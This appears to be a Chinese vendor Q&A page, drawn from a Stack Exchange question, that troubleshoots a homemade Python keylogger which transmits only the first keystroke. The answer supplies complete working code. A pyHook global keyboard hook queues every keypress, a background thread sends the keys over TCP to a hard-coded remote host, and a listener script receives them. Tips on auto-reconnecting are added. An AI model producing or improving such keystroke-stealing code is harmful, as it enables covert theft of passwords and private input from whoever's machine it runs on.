You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

为键盘记录器添加Socket:解决仅发送首个按键的问题

解决键盘记录器仅能发送首个按键的问题

嘿,我看你遇到的问题了——自己做的键盘记录器只能把第一个按键发去接收端,后面的按键都没反应对吧?结合你给的代码片段,我帮你分析下原因,再给几个可行的修复方案。

问题根源分析

你当前的代码里,直接在pyHook的键盘钩子函数里调用s.send(),这里有个关键问题:pyHook的钩子函数是在系统的事件处理线程里运行的,如果send()操作因为网络原因阻塞了,整个钩子线程就会卡住,后续的键盘事件根本触发不了钩子函数,自然发不出后续的按键。

另外还有个潜在问题:socket的send()不一定能一次性把数据发完,而且如果接收端只调用了一次recv(),也会导致后续数据看起来像是没发送成功。

修复方案

1. 把发送操作放到独立线程里

核心思路是:钩子函数只负责收集按键,把按键放到一个队列里,然后开一个专门的线程来处理socket发送,避免阻塞钩子线程。代码示例如下:

import socket
import pythoncom
import pyHook
import queue
import threading

HOST = "192.168.2.103"
PORT = 5000

# 创建队列缓存按键,解耦收集和发送逻辑
key_queue = queue.Queue()

def send_worker():
    # 在子线程里创建socket连接
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        s.connect((HOST, PORT))
        print("已连接到接收端")
        while True:
            # 从队列取按键,没有数据时会阻塞,不占用CPU
            keylog = key_queue.get()
            # 用sendall确保数据完整发送(自动处理分片)
            s.sendall(keylog.encode("utf-8"))
            key_queue.task_done()
    except Exception as e:
        print(f"发送异常: {str(e)}")
        s.close()

# 启动后台发送线程,daemon=True确保主线程退出时子线程也跟着结束
threading.Thread(target=send_worker, daemon=True).start()

def OnKeyboardEvent(event):
    # 只处理可打印ASCII字符,避免乱码
    if 32 <= event.Ascii <= 126:
        keylog = chr(event.Ascii)
        key_queue.put(keylog)
    # 特殊处理常用控制键
    elif event.Ascii == 13:
        key_queue.put("\n[ENTER]")
    elif event.Ascii == 8:
        key_queue.put("[BACKSPACE]")
    elif event.Ascii == 9:
        key_queue.put("[TAB]")
    # 必须返回True,否则钩子会被移除
    return True

# 初始化并启动键盘钩子
hook_manager = pyHook.HookManager()
hook_manager.KeyDown = OnKeyboardEvent
hook_manager.HookKeyboard()
# 启动消息循环,保持程序运行
pythoncom.PumpMessages()

2. 确保接收端持续读取数据

别忽略接收端的问题!如果接收端只调用了一次recv(),那只能拿到第一个按键,后续的数据会留在socket缓冲区里,看起来像是发送失败。接收端的代码要写成循环读取的形式:

import socket

HOST = "0.0.0.0"  # 监听所有网卡
PORT = 5000

server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((HOST, PORT))
server_socket.listen(1)
print(f"等待连接,监听端口 {PORT}")

conn, addr = server_socket.accept()
print(f"已连接: {addr}")

try:
    while True:
        # 每次读取1024字节,循环接收
        data = conn.recv(1024)
        if not data:
            # 连接断开时退出循环
            print("连接已断开")
            break
        print(f"收到按键: {data.decode('utf-8')}", end='')
finally:
    conn.close()
    server_socket.close()

3. 额外的优化建议

  • 可以给队列加个最大长度,避免内存溢出;
  • 处理异常情况(比如接收端断开后自动重连);
  • 对非打印按键做更友好的映射,方便查看记录。

内容的提问来源于stack exchange,提问作者Süleyman Yaman

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.05.25 08:16:40